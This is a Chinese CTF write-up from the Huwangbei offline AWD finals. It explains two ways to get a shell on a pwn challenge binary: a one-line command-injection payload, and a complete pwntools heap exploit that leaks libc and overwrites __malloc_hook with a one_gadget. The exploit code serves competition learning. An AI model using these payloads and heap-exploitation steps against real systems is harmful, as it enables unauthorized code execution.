awd的批量脚本 pwn_[原创]第一届护网杯线下决赛awd之shell多解
前言
好久不打比赛,顺便来北京实习就参加了护网杯。排名虽然有所提高但还是被各种大表哥吊打。(和企业参赛简直痛苦)这里带来决赛中awd比赛pwn题shell的两种漏洞利用方式。
程序保护
保护全开
程序分析
程序模拟了一个受限shell命令行的功能。
一共有10个shell功能,根据漏洞利用方式可以分为两类。
第一类:ls,pwd,passwd,login,exit
其中passwd和login是假的利用方式。
就是密码通过打开random文件进行随机化。若账号密码正确则执行错误的system调用233333333333。加条知识点就是当连续open文件1024次上后,使文件描述符数组满了后,无法再次打开文件,即读取到的密码为空。这样就可以绕过密码实现登录(当然在这里登录没用)
第二类:recv,send,decode,encode。
实现通过堆的漏洞利用。
漏洞利用
命令注入
ls和pwd可以组合实现任意命令执行。大佬们看见这一行指令就开始疯狂刷分了。可怜我等菜鸟没经验编自动化脚本调格式都要半天。。。
payload为|cat<..>
堆利用
这种题在这个比赛肯定还有别的做法。。。(上面的做法太敷衍)于是开始考虑有无别的利用途径
send功能:若指针处有值,则free掉他.之后malloc一个任意大小的堆块填充至指针。并可进行堆块的填充。
recv功能:若指针处有值,则free掉他。之后malloc一个任意大小的堆块填充至指针。并将send功能指针指向的chunk内容通过strlen和memcpy拷贝到recv功能指针指向堆块。(明显存在堆溢出漏洞,且是大小不限的堆溢出漏洞)
encode功能:将send指针堆块内容加密。可通过此功能绕过strlen的0字节溢出限制。
decode功能:将recv指针堆块内容解密。只有此处存在一个put可以进行信息泄露。
程序一共可维持两个任意大小的堆块。malloc和free是绑定的,free掉原堆块再malloc新堆块。decode和encode用来配合使用绕过strlen限制和泄露信息。
信息泄露
awd比赛自带libc,首先泄露libc的基址。
先分配两个堆块,此时指针
malloc(0xa0)//send 指针
malloc(0x60)//recv 指针
执行一次send功能。free掉send指针再分配回来。可以得到unsorted bin的地址。再执行encode功能。通过recv功能接受send堆块的内容后通过decode泄露libc地址。
脚本流程如下:
send(0xa0,’a’)
recv(0x60)
send(0xa0,’’)
encode(8)
recv(0x60)
p.writeline(‘decode’)
p.readuntil(‘:’)
p.writeline(‘8’)
p.readuntil(‘\n’)
libc=u64(chr(0)+p.readuntil(‘\n’)[:-1]+chr(0)*2)-0x398B00
success(hex(libc))
漏洞实现
现在我们有了libc地址,需要考虑向哪里写入one_gadget实现利用。
利用方式通过常见的malloc_hook加realloc_hook实现
初始状态:
chunk a //send
chunk b //recv
我们可以通过写入a覆盖b的信息。
首先send功能malloc一个更大值
状态1:
chunk a//空(free掉)
chunk b//recv
chunk c//send
之后使用recv功能占位a并通过memcpy实现溢出。
状态2:
chunk a// recv
chunk b//空(free掉) size 0x71
chunk c//send
将chunk c memcpy到chunk a。实现对b的溢出.将b的fd指针指向malloc_hook-0x23.中间通过encode和decode功能辅助
之后通过send和recv功能各malloc一个0x60的堆即可完成利用。这里有新的难点。此时不知为何free c因和topchunk合并调用malloc_consolidate产生异常。
于是通过覆盖a的同时覆盖到c。伪造一个chunk与top chunk相连。
这时通过send和recv功能各申请一个0x60的堆块即可写入malloc_hook.这里one_gadget环境不对,通过realloc_hook微调这里不再叙述,参考上一篇文章。
脚本from pwn import *
p=process('./shell')
elf=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
p.readuntil('> ')
def encode(a):
p.writeline('encode')
p.readuntil(':')
p.writeline(str(a))
p.readuntil('> ')
def decode(a):
p.writeline('decode')
p.readuntil(':')
p.writeline(str(a))
p.readuntil('> ')
def send(a,b):
p.writeline('send')
p.readuntil(':')
p.writeline(str(a))
p.readuntil('Content')
p.writeline(b)
p.readuntil('> ')
def recv(a):
p.writeline('recv')
p.readuntil(':')
p.writeline(str(a))
p.readuntil('> ')
context(log_level='debug')
send(0xa0,'a')
recv(0x60)
send(0xa0,'')
encode(8)
recv(0x60)
p.writeline('decode')
p.readuntil(':')
p.writeline('8')
p.readuntil('\n')
libc=u64(chr(0)+p.readuntil('\n')[:-1]+chr(0)*2)-0x398B00
success(hex(libc))
send(0x150,'a'*0x90+p64(0)*3+p64(0x71)+p64(libc+elf.symbols['__malloc_hook']-0x23)+chr(0)*0x60+p64(0x21)+chr(0)*0x18+p64(0x141))
encode(0x150)
recv(0xa0)
decode(0x150)
re_hook=libc+elf.symbols['__realloc_hook']
mac_hook=libc+elf.symbols['__malloc_hook']
realloc=libc+elf.symbols['__libc_realloc']
send(0x60,'b'*(0x13-8)+p64(libc+0x3f33a)+p64(realloc+6))
encode(0x20)
success(hex(libc+0x398b00))
recv(0x60)
decode(0x20)
success(hex(libc+elf.symbols['__malloc_hook']-0x23))
gdb.attach(p)
p.interactive()
总结
积分赛排名还好,awd日常被暴打。。和腾讯在一个分组简直是一个噩梦。膜。。如有不对请指正
最后于 2019-1-28 13:37
被admin编辑
,原因:
上传的附件:
附件.zip
(686.83kb,35次下载)
awd的批量脚本 pwn_[原创]第一届护网杯线下决赛awd之shell多解相关推荐
- awd的批量脚本 pwn_北极星杯AWD-Writeup
前言 祝祖国70周年生日快乐,也祝星盟一周年生日快乐.感谢各位师傅在国庆假期抽出时间参加这次比赛,也感谢负责组织比赛的师傅忙前忙后. 我是M09ic,负责本次北极星杯AWD的赛后分享.靠着抱大腿以及足 ...
- awd的批量脚本 pwn_北极星杯 awd复现
北极星杯 awd复现 服务器共有3个web和一个pwn web1 1,down下web1的源码,使用D盾扫描: 2,漏洞1:发现三个冰蝎的木马,和一个一句话木马 冰蝎的后门需要使用冰蝎的客户端进行连接 ...
- awd的批量脚本 pwn_CTF线下赛AWD套路小结
CTF线下赛AWD套路小结 本文已在先知社区发表,欢迎访问,链接h 最近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一.AWD模式简介 AWD ...
- CTF线下赛AWD攻防准备
CTF线下赛AWD攻防准备 最近发现一篇博客.感觉对CTF线下赛-AWD模式,总结比较好.于是学习了解了一下,为了方便寻找,把这篇博客复制了过来,并补充了点... 1.赛制流程:攻防模式(AWD)常见 ...
- CTF线下赛AWD总结
AWD 记录一下自己最近参加的线下攻防比赛,没时间学习了,就准备了几天,果然不出意外的被安全专业的大佬打得很惨. 缺点是不会攻击,我和我队友两个人就只有防,AWD防了400分,综合渗透拿了200分. ...
- awd赛题的flag是什么意思_红帽杯线下赛AWD题目分析
上周打了一场红帽杯的线下赛,可惜开具发挥失误服务器down了几轮一度垫底-最后才又勉强上了点儿分-..赛后对题目中的几处比较有意义的漏洞做了一下分析,写出了下面篇文章. web1 web1是一个wor ...
- awd的批量脚本 pwn_AWD攻防之web入门篇
前言 AWD(Attack With Defense,攻防兼备)模式是一个非常有意思的模式,你需要在一场比赛里要扮演攻击方和防守方,攻者得分,失守者会被扣分.也就是说,攻击别人的靶机可以获取 Flag ...
- 第一届赣网杯网络安全大赛 2020GW-CTF Misc_Writeup
目录 签到Checkin face DestroyJava Hidepig 签到Checkin flag{welc0me_to_ganwangbei} face Lennyfuck interpret ...
- 第一届赣网杯网络安全大赛 2020GW-CTF Web_Writeup
目录 EasyPhp parseHash EasyPhp <?php $sz_txt = $_GET["sz_txt"]; $sz_file = $_GET["sz ...
最新文章
- word2vec模型评估_【新书】从Word2Vec到BERT的自然语言处理嵌入进展,附下载
- Lin总线应用层代码
- java 调用 ictclas50_1-Ictclas50分词系统ForJava
- php retoken,laravel 5.5 关闭token的3种实现方式
- SVM-支持向量机(code实现)
- Hosts 文件作用及如何修改
- uview组件得到回调的参数
- 游戏筑基开发之结构体定义动态数组及常见问题(C语言)
- 简单的字段类型定义(新新手看)
- 三维激光LiDAR点云数据处理,我帮您!
- mac上调整phpstorm和webstorm的使用内存(默认是128m-750m) 避免卡顿
- linux journalctl使用详解
- 思维导图怎么做计划的简单高效绘制方法
- Spring中AOP的Introductions使用介绍(五)
- esxi - with nvidia geforce 10 titan xp card
- 使用ColorMatrix简单处理色彩平衡
- 玩转AgiileCDN(十三)——全站加速
- 软件工程师的职业建议
- paramiko的get_pty=True参数
- 不同音视频传输协议的对比